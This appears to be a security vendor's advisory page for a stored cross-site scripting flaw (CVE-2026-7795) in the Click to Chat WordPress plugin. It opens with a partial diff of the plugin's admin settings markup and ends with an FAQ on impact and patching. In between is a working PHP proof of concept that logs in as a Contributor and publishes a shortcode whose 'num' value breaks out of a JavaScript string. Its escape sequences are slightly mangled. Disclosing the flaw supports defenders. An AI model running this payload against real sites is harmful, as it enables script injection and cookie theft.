+        <div class="ccw-settings-field">
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s9_icon_size]" value="<?php echo isset($ccw_style_9['s9_icon_size']) ? esc_attr( $ccw_style_9['s9_icon_size'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -572,70 +441,59 @@
     function ccw_style_99_own_img_cb() {
         $ccw_style_99_own_img = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header"><?php esc_html_e( 'Style 99 - own Image / GIF', 'click-to-chat-for-whatsapp' ); ?></div>
-        <div class="collapsible-body">
+        <div class="ccw-settings-field">


-           <div class="row">
-                <div class="input-field col s12">
+           <div style="margin-bottom: 15px;">
+
                     <input name="ccw_options_cs[s99_desktop_img]" value="<?php echo isset($ccw_style_99_own_img['s99_desktop_img']) ? esc_attr( $ccw_style_99_own_img['s99_desktop_img'] ) : ''; ?>" id="img-url-desktop" type="text" class="validate">
                     <label for="img-url-desktop"><?php esc_html_e( 'Image URL - Desktop', 'click-to-chat-for-whatsapp' ); ?> </label>
                     <p class="description">e.g. https://example.com/img.png - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
                     <p class="description">Image / GIF </p>
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="input-field col s12">
+            <div style="margin-bottom: 15px;">
+
                     <input name="ccw_options_cs[s99_mobile_img]" value="<?php echo isset($ccw_style_99_own_img['s99_mobile_img']) ? esc_attr( $ccw_style_99_own_img['s99_mobile_img'] ) : ''; ?>" id="img-url-mobile" type="text" class="validate">
                     <label for="img-url-mobile"><?php esc_html_e( 'Image URL - Mobile', 'click-to-chat-for-whatsapp' ); ?> </label>
                     <p class="description">e.g. https://example.com/img.png - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
-                </div>
-            </div>
+
+</div>

             <br><hr><br>
             <p class="description">Instead of changing the Heigth, Width - Add Image with pefect size, and keep this field blank </p>
             <p class="description">If not then add only height or width for better result ( Heigth preferred ) <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
             <br>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Desktop - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Desktop - Image Height', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s99_img_height_desktop]" value="<?php echo isset($ccw_style_99_own_img['s99_img_height_desktop']) ? esc_attr( $ccw_style_99_own_img['s99_img_height_desktop'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Desktop - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Desktop - Image Width', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s99_img_width_desktop]" value="<?php echo isset($ccw_style_99_own_img['s99_img_width_desktop']) ? esc_attr( $ccw_style_99_own_img['s99_img_width_desktop'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>


-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Mobile - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Mobile - Image Height', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s99_img_height_mobile]" value="<?php echo isset($ccw_style_99_own_img['s99_img_height_mobile']) ? esc_attr( $ccw_style_99_own_img['s99_img_height_mobile'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Mobile - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Mobile - Image Width', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s99_img_width_mobile]" value="<?php echo isset($ccw_style_99_own_img['s99_img_width_mobile']) ? esc_attr( $ccw_style_99_own_img['s99_img_width_mobile'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

             <p class="description">E.g. 100px </p>

@@ -645,9 +503,6 @@


         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -663,21 +518,16 @@
         $an_on_hover = isset($ccw_animations['an_on_hover']) ? esc_attr( $ccw_animations['an_on_hover'] ) : 'ccw-no-hover-an';

         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Animations </div>
-        <div class="collapsible-body">
+        <div class="ccw-settings-field">

         <p class="description"> Animations for floating styles - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/animations/">more info</a> </p>
         <br><br>


             <!-- animation on load -->
-            <div class="row">
-                <div class="col s6">
-                    <p>Animation on Page load</p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Animation on Page load</label>
+
                     <select name="ccw_options_cs[an_on_load]" class="select-2_2">
                     <?php
                     $an_list = HT_CCW_Admin_lists::$animations_list;
@@ -690,30 +540,23 @@

                     ?>
                     </select>
-                    <label>animation on page load</label>
-                </div>
-            </div>
+
+
+</div>

             <!-- animation on hover -->
-            <div class="row">
-                <div class="col s6">
-                    <p>Animation on hover</p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Animation on hover</label>
+
                     <select name="ccw_options_cs[an_on_hover]" class="select-2_2">
                         <option value="ccw-an" <?php echo $an_on_hover === 'ccw-an' ? 'SELECTED' : ''; ?> >Yes</option>
                         <option value="ccw-no-hover-an" <?php echo $an_on_hover === 'ccw-no-hover-an' ? 'SELECTED' : ''; ?> >No</option>
                     </select>
-                    <label>Animation on mouse hover</label>
+
                 </div>
                 <p class="description">If Yes, Animation on hover - works based on - Animation  on page load - value</p>
-            </div>
-
-
-        </div>
-        </div>
-        </li>
-        </ul>
+
+</div>

         <?php
     }
@@ -730,49 +573,37 @@
         $ga_label = isset($ht_ccw_ga['ga_label']) ? esc_attr( $ht_ccw_ga['ga_label'] ) : '';

         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div id="ga-analytics" class="collapsible-header">Google Analytics </div>
-        <div class="collapsible-body">
+        <div id="ga-analytics" class="ccw-settings-field">

             <p class="description"> Enable Google Analytics at plugin home settings - <a target="_blank" href="<?php echo esc_url(admin_url( 'admin.php?page=click-to-chat' )); ?>">Click to Chat</a>  </p>
             <p class="description"> Event Values - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/google-analytics/"><?php esc_html_e( 'more info' , 'click-to-chat-for-whatsapp' ) ?></a> </p>
             <br><br>

             <!-- Category Name -->
-            <div class="row">
-                <div class="col s6">
-                    <p>Category Name</p>
-                </div>
-                <div class="input-field col s5">
-                    <input name="ht_ccw_ga[ga_category]" value="<?php echo isset($ht_ccw_ga['ga_category']) ? esc_attr( $ht_ccw_ga['ga_category'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Category Name</label>
+
+                    <input name="ht_ccw_ga[ga_category]" value="<?php echo isset($ht_ccw_ga['ga_category']) ? esc_attr( $ht_ccw_ga['ga_category'] ) : ''; ?>" type="text" class="regular-text" >
+
+</div>

             <!-- Action Name -->
-            <div class="row">
-                <div class="col s6">
-                    <p>Action Name</p>
-                </div>
-                <div class="input-field col s5">
-                    <input name="ht_ccw_ga[ga_action]" value="<?php echo isset($ht_ccw_ga['ga_action']) ? esc_attr( $ht_ccw_ga['ga_action'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Action Name</label>
+
+                    <input name="ht_ccw_ga[ga_action]" value="<?php echo isset($ht_ccw_ga['ga_action']) ? esc_attr( $ht_ccw_ga['ga_action'] ) : ''; ?>" type="text" class="regular-text" >
+
+</div>

             <!-- Label Name -->
-            <div class="row">
-                <div class="col s6">
-                    <p>Label Name</p>
-                </div>
-                <div class="input-field col s5">
-                    <input name="ht_ccw_ga[ga_label]" value="<?php echo isset($ht_ccw_ga['ga_label']) ? esc_attr( $ht_ccw_ga['ga_label'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Label Name</label>
+
+                    <input name="ht_ccw_ga[ga_label]" value="<?php echo isset($ht_ccw_ga['ga_label']) ? esc_attr( $ht_ccw_ga['ga_label'] ) : ''; ?>" type="text" class="regular-text" >
+
+</div>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
--- a/click-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page.php
+++ b/click-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page.php
@@ -60,32 +60,21 @@
         $interface_value = isset( $options['interface'] ) ? esc_attr( $options['interface'] ) : 'no';
         ?>

-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Switch interface</div>
-        <div class="collapsible-body">
-
-        <p class="description" style="color: red"> <strong> Please reconfigure the settings, after switching to the new interface </strong></p>
-        <br>
-        <p class="description">We developed a new interface with lot more features</p>
-        <br>
-
-        <div class="row">
-            <div class="input-field col s12" style="margin-bottom: 0px;">
-                <select name="ht_ctc_switch[interface]" class="select-2">
-                    <!-- here first option value place as "no" as here default/db value not placed, when save with no changes it saves as no -->
-                    <option value="no" <?php echo $interface_value === 'no' ? 'SELECTED' : ''; ?> >Previous Interface</option>
-                    <option value="yes" <?php echo $interface_value === 'yes' ? 'SELECTED' : ''; ?> >New Interface  (Have to reconfigure the settings)</option>
-                </select>
-                <label>Switch Interface</label>
-            </div>
-        </div>
-        <p class="description"> <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/new-interface/">New Interface</a></p>
-
-        </div>
+        <div class="ccw-settings-field notice notice-info inline" style="padding: 20px; border-left: 4px solid #72aee6; background: #f0f6fc; box-shadow: 0 1px 1px rgba(0,0,0,.04); border-radius: 6px;">
+            <h3 style="margin-top: 0; color: #0a4b78;">✨ Discover the New Interface!</h3>
+            <p class="description" style="font-size: 14px; margin-bottom: 10px; color: #1c2b36;">We've built a completely redesigned experience with powerful new features, faster performance, and a beautiful modern UI. We highly recommend making the switch!</p>
+            <p class="description" style="font-size: 13px; margin-bottom: 15px; color: #50575e;">
+                <em>Note: You will just need to briefly reconfigure your settings after switching.</em>
+            </p>
+
+            <select name="ht_ctc_switch[interface]" class="regular-text" style="padding: 4px 8px; font-size: 14px; border-radius: 6px; border-color: #8c8f94;">
+                <option value="no" <?php echo $interface_value === 'no' ? 'SELECTED' : ''; ?> >Previous Interface</option>
+                <option value="yes" <?php echo $interface_value === 'yes' ? 'SELECTED' : ''; ?> >Try the New Interface!</option>
+            </select>
+            <p class="description" style="margin-top: 12px;">
+                <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/new-interface/" style="font-weight: 600; text-decoration: none; color: #2271b1;">Explore the New Features →</a>
+            </p>
         </div>
-        </li>
-        </ul>

         <?php
     }
@@ -97,14 +86,11 @@
     function ccw_enable_cb() {
         $ccw_enable = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <select name="ccw_options[enable]" class="select-1">
+        <div class="ccw-settings-field">
+            <select name="ccw_options[enable]" class="regular-text">
                 <option value="1">No</option>
                 <option value="2" <?php echo isset($ccw_enable['enable']) && esc_attr( $ccw_enable['enable'] ) === '2' ? 'SELECTED' : ''; ?>  >Yes</option>
-                </select>
-                <label>enable</label>
-            </div>
+            </select>
         </div>
         <?php
     }
@@ -113,15 +99,12 @@
     function ccw_enable_sc_cb() {
         $ccw_enable_sc = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12 select-margin">
-                <select name="ccw_options[enable_sc]" class="select-1">
+        <div class="ccw-settings-field">
+            <select name="ccw_options[enable_sc]" class="regular-text">
                 <option value="1">No</option>
                 <option value="2" <?php echo isset($ccw_enable_sc['enable_sc']) && esc_attr( $ccw_enable_sc['enable_sc'] ) === '2' ? 'SELECTED' : ''; ?>  >Yes</option>
-                </select>
-                <label>enable ShortCodes</label>
-                <p class="description">If Selected - No - then Hides Shortcodes and its syntax - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/enable-disable-styles/">more info</a> </p>
-            </div>
+            </select>
+            <p class="description">If Selected - No - then Hides Shortcodes and its syntax - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/enable-disable-styles/">more info</a> </p>
         </div>
         <?php
     }
@@ -130,15 +113,12 @@
     function ccw_return_type_cb() {
         $ccw_return_type = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12 select-margin">
-                <select name="ccw_options[return_type]" class="select-1">
+        <div class="ccw-settings-field">
+            <select name="ccw_options[return_type]" class="regular-text">
                 <option value="chat" <?php echo isset($ccw_return_type['return_type']) && esc_attr( $ccw_return_type['return_type'] ) === 'chat' ? 'SELECTED' : ''; ?> >Chat</option>
                 <option value="group_chat" <?php echo isset($ccw_return_type['return_type']) && esc_attr( $ccw_return_type['return_type'] ) === 'group_chat' ? 'SELECTED' : ''; ?> >Group chat - Invite</option>
-                </select>
-                <label>Default return type - Chat or Group Chat Invite</label>
-                <p class="description">Default return type for Floating Style, shortcodes. But for shortcodes can change using shortcode attributes - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/return-type-chat-or-group-chat/">more info</a> </p>
-            </div>
+            </select>
+            <p class="description">Default return type for Floating Style, shortcodes. But for shortcodes can change using shortcode attributes - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/return-type-chat-or-group-chat/">more info</a> </p>
         </div>
         <?php
     }
@@ -149,38 +129,32 @@
         $ccw_style = get_option( 'ccw_options', array() );
         $style_value = isset( $ccw_style['style'] ) ? esc_attr( $ccw_style['style'] ) : 1;
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <select name="ccw_options[style]" class="select-2">
-                    <option value="1" <?php echo $style_value === '1' ? 'SELECTED' : ''; ?> >Style-1</option>
-                    <option value="2" <?php echo $style_value === '2' ? 'SELECTED' : ''; ?> >Style-2</option>
-                    <option value="3" <?php echo $style_value === '3' ? 'SELECTED' : ''; ?> >Style-3</option>
-                    <option value="4" <?php echo $style_value === '4' ? 'SELECTED' : ''; ?> >Style-4</option>
-                    <option value="5" <?php echo $style_value === '5' ? 'SELECTED' : ''; ?> >Style-5</option>
-                    <option value="6" <?php echo $style_value === '6' ? 'SELECTED' : ''; ?> >Style-6</option>
-                    <option value="7" <?php echo $style_value === '7' ? 'SELECTED' : ''; ?> >Style-7</option>
-                    <option value="8" <?php echo $style_value === '8' ? 'SELECTED' : ''; ?> >Style-8</option>
-                    <option value="9" <?php echo $style_value === '9' ? 'SELECTED' : ''; ?> >Style-9</option>
-                    <option value="99" <?php echo $style_value === '99' ? 'SELECTED' : ''; ?> >Add your own image / GIF (Style-99)</option>
-                    <option value="0" <?php echo $style_value === '0' ? 'SELECTED' : ''; ?> >Hide on Desktop Devices</option>
-                </select>
-                <label>Select Style for Desktop</label>
-                <p class="description"> - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/styles/">List of Styles</a> </p>
-                <p class="description">These styles are customizable - <a target="_blank" href="<?php echo esc_url(admin_url( 'admin.php?page=ccw-edit-styles' )); ?>">Customize Styles</a> </p>
-
-            </div>
+        <div class="ccw-settings-field">
+            <select name="ccw_options[style]" class="regular-text">
+                <option value="1" <?php echo $style_value === '1' ? 'SELECTED' : ''; ?> >Style-1</option>
+                <option value="2" <?php echo $style_value === '2' ? 'SELECTED' : ''; ?> >Style-2</option>
+                <option value="3" <?php echo $style_value === '3' ? 'SELECTED' : ''; ?> >Style-3</option>
+                <option value="4" <?php echo $style_value === '4' ? 'SELECTED' : ''; ?> >Style-4</option>
+                <option value="5" <?php echo $style_value === '5' ? 'SELECTED' : ''; ?> >Style-5</option>
+                <option value="6" <?php echo $style_value === '6' ? 'SELECTED' : ''; ?> >Style-6</option>
+                <option value="7" <?php echo $style_value === '7' ? 'SELECTED' : ''; ?> >Style-7</option>
+                <option value="8" <?php echo $style_value === '8' ? 'SELECTED' : ''; ?> >Style-8</option>
+                <option value="9" <?php echo $style_value === '9' ? 'SELECTED' : ''; ?> >Style-9</option>
+                <option value="99" <?php echo $style_value === '99' ? 'SELECTED' : ''; ?> >Add your own image / GIF (Style-99)</option>
+                <option value="0" <?php echo $style_value === '0' ? 'SELECTED' : ''; ?> >Hide on Desktop Devices</option>
+            </select>
+            <p class="description"> - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/styles/">List of Styles</a> </p>
+            <p class="description">These styles are customizable - <a target="_blank" href="<?php echo esc_url(admin_url( 'admin.php?page=ccw-edit-styles' )); ?>">Customize Styles</a> </p>
         </div>
         <?php
     }

-    // Mobile - Select Style
     function ccw_style_mobile_cb() {
         $ccw_stylemobile = get_option( 'ccw_options', array() );
         $style_mobile_value = isset( $ccw_stylemobile['stylemobile'] ) ? esc_attr( $ccw_stylemobile['stylemobile'] ) : '1';
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <select name="ccw_options[stylemobile]" class="select-2_2">
+        <div class="ccw-settings-field">
+            <select name="ccw_options[stylemobile]" class="regular-text">
                 <option value="1" <?php echo $style_mobile_value === '1' ? 'SELECTED' : ''; ?> >Style-1</option>
                 <option value="2" <?php echo $style_mobile_value === '2' ? 'SELECTED' : ''; ?> >Style-2</option>
                 <option value="3" <?php echo $style_mobile_value === '3' ? 'SELECTED' : ''; ?> >Style-3</option>
@@ -192,53 +166,39 @@
                 <option value="9" <?php echo $style_mobile_value === '9' ? 'SELECTED' : ''; ?> >Style-9</option>
                 <option value="99" <?php echo $style_mobile_value === '99' ? 'SELECTED' : ''; ?> >Add your own image / GIF (Style-99)</option>
                 <option value="0" <?php echo $style_mobile_value === '0' ? 'SELECTED' : ''; ?> >Hide on Mobile Devices</option>
-                </select>
-                <label>Select Style for Mobile Devices</label>
-            </div>
+            </select>
         </div>
         <?php
     }

-    // number
     function ccw_number_input_cb() {
         $ccw_number = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <input name="ccw_options[number]" value="<?php echo isset($ccw_number['number']) ? esc_attr( $ccw_number['number'] ) : ''; ?>" id="whatsapp_number" type="text" class="input-margin">
-                <label for="whatsapp_number">Enter whatsapp number </label>
-                <p class="description">Enter whatsapp number with country code ( e.g. 916123456789 ) please dont include +, ( here in e.g. 91 is country code 6123456789 is mobile number - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/whatsapp-number/">more info</a> ) </p>
-            </div>
+        <div class="ccw-settings-field">
+            <input name="ccw_options[number]" value="<?php echo isset($ccw_number['number']) ? esc_attr( $ccw_number['number'] ) : ''; ?>" id="whatsapp_number" type="text" class="regular-text">
+            <p class="description">Enter whatsapp number with country code ( e.g. 916123456789 ) please dont include +, ( here in e.g. 91 is country code 6123456789 is mobile number - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/whatsapp-number/">more info</a> ) </p>
         </div>
         <?php
     }


-    // prefix - message
     function ccw_prefix_message_cb() {
         $ccw_initial = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <input name="ccw_options[initial]" value="<?php echo isset($ccw_initial['initial']) ? esc_attr( $ccw_initial['initial'] ) : ''; ?>" id="whatsapp_initial" type="text" class="input-margin">
-                <label for="whatsapp_initial">Initial Message</label>
-                <p class="description">Initial message ( pre-filled ), placeholder {{url}} to add webpage url -  <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/pre-filled-message/">more info</a> </p>
-            </div>
+        <div class="ccw-settings-field">
+            <input name="ccw_options[initial]" value="<?php echo isset($ccw_initial['initial']) ? esc_attr( $ccw_initial['initial'] ) : ''; ?>" id="whatsapp_initial" type="text" class="regular-text">
+            <p class="description">Initial message ( pre-filled ), placeholder {{url}} to add webpage url -  <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/pre-filled-message/">more info</a> </p>
         </div>
         <?php
     }


-    // Group ID
     function ccw_group_id_cb() {
         $ccw_group_id = get_option( 'ccw_options', array() );
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <input name="ccw_options[group_id]" value="<?php echo isset($ccw_group_id['group_id']) ? esc_attr( $ccw_group_id['group_id'] ) : ''; ?>" id="whatsapp_group_id" type="text" class="input-margin">
-                <label for="whatsapp_group_id">whatsapp group ID Extenstion </label>
-                <p class="description">Enter whatsapp Group Id - E.g. 9EHLsEsOeJk6AVtE8AvXiA  - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/find-whatsapp-group-id/">more info</a> </p>
-            </div>
+        <div class="ccw-settings-field">
+            <input name="ccw_options[group_id]" value="<?php echo isset($ccw_group_id['group_id']) ? esc_attr( $ccw_group_id['group_id'] ) : ''; ?>" id="whatsapp_group_id" type="text" class="regular-text">
+            <p class="description">Enter whatsapp Group Id - E.g. 9EHLsEsOeJk6AVtE8AvXiA  - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/find-whatsapp-group-id/">more info</a> </p>
         </div>
         <?php
     }
@@ -248,63 +208,46 @@
         $ccw_position = get_option( 'ccw_options', array() );
         $ccw_position_value = isset($ccw_position['position']) ? esc_attr( $ccw_position['position'] ) : '1';
         ?>
-        <div class="row">
-            <div class="input-field col s12">
-                <select name="ccw_options[position]" class="select">
+        <div class="ccw-settings-field">
+            <select name="ccw_options[position]" class="select regular-text">
                 <option value="1"  <?php echo $ccw_position_value === '1' ? 'SELECTED' : ''; ?> >bottom right</option>
                 <option value="2"  <?php echo $ccw_position_value === '2' ? 'SELECTED' : ''; ?> >bottom left</option>
                 <option value="3"  <?php echo $ccw_position_value === '3' ? 'SELECTED' : ''; ?> >top left</option>
                 <option value="4"  <?php echo $ccw_position_value === '4' ? 'SELECTED' : ''; ?> >top right</option>
-                </select>
-                <label>Fixed position to place</label>
-                <p class="description">e.g. 10px - please add css units as suffix, e.g. 10px, 10%, 10rem, 10em .. <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/position-to-place/">more info</a> </p>
-            </div>
-        </div>
-
-        <div class="row display-non

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7795 - Click to Chat <= 4.39 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'num' Shortcode Parameter

// Configuration
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'attacker'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Initialize cURL
$ch = curl_init();

// ===== Step 1: Login =====
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}
echo "[+] Logged in as $usernamen";

// ===== Step 2: Create a new post with malicious shortcode =====
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Extract wpnonce for post creation
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$wpnonce = $matches[1];
preg_match('/name="post_ID" value="([^"]+)"/', $response, $matches);
$post_id = $matches[1];

if (empty($wpnonce)) {
    die('Could not extract nonce.');
}
echo "[+] Extracted nonce: $wpnoncen";

// ===== Step 3: Inject XSS payload via the 'num' parameter =====
// The payload breaks out of the JavaScript string in window.open()
$payload = "-x');alert(document.cookie);//";

$post_data = array(
    '_wpnonce' => $wpnonce,
    'post_ID' => $post_id,
    'action' => 'editpost',
    'post_title' => 'CVE-2026-7795 Test',
    'content' => '[chat num="' . $payload . '"]',
    'post_status' => 'publish',
    'original_post_status' => 'draft',
    'post_type' => 'post'
);

$post_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, 'Post published') !== false) {
    echo "[+] Malicious post published successfully!n";
} else {
    echo "[!] Post may not have published. Check manually.n";
}

// ===== Step 4: Trigger the XSS (visit the post) =====
echo "[+] Visit the post to trigger XSS: " . $target_url . '/?p=' . $post_id . "n";
echo "[+] The shortcode renders a button. Clicking it triggers the alert.n";

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2026-7795?
Overview of the vulnerability
CVE-2026-7795 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Click to Chat – WA Widget plugin for WordPress. It allows authenticated users with Contributor-level access and above to inject malicious JavaScript via the ‘num’ parameter of the [chat] shortcode.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability occurs due to insufficient escaping of user-supplied data when it is embedded in JavaScript. The ‘num’ parameter is processed using esc_attr(), which converts single quotes to HTML entities, but browsers decode these entities, allowing an attacker to inject arbitrary scripts.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Click to Chat – WA Widget plugin version 4.39 or earlier is affected. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Version verification steps
To check if your site is vulnerable, navigate to the WordPress admin dashboard, go to ‘Plugins’, and find the Click to Chat – WA Widget plugin. If the version is 4.39 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is fixed in version 4.40 of the Click to Chat – WA Widget plugin. Administrators should update to this version immediately to mitigate the risk.
What does the CVSS score of 6.4 indicate?
Understanding the severity level
A CVSS score of 6.4 indicates a medium severity level, suggesting that while the vulnerability is not critical, it can still be exploited by authenticated users to perform harmful actions, such as injecting scripts.
What practical risks does this vulnerability pose?
Potential impacts on users
If exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of users clicking the WhatsApp chat button. This could lead to session hijacking, cookie theft, or redirecting users to malicious sites.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept involves an authenticated attacker logging into a WordPress site and injecting a malicious payload into the ‘num’ parameter of the [chat] shortcode. This demonstrates how an attacker can exploit the vulnerability to execute arbitrary scripts.
What steps should I take if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider disabling the Click to Chat – WA Widget plugin until you can apply the patch. Additionally, review user roles and limit Contributor-level access to trusted users only.
How can I prevent similar vulnerabilities in the future?
Best practices for WordPress security
To prevent similar vulnerabilities, keep all plugins and themes updated, regularly review user permissions, and implement security measures such as web application firewalls and security plugins.
Are there any known exploits in the wild for this vulnerability?
Current threat landscape
As of the latest information, there are no publicly reported exploits in the wild for CVE-2026-7795. However, due to its medium severity and ease of exploitation, it is advisable to address it promptly.
Where can I find more information about this vulnerability?
Resources for further reading
For more information about CVE-2026-7795, you can visit the National Vulnerability Database (NVD) or the official WordPress plugin repository page for Click to Chat – WA Widget.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations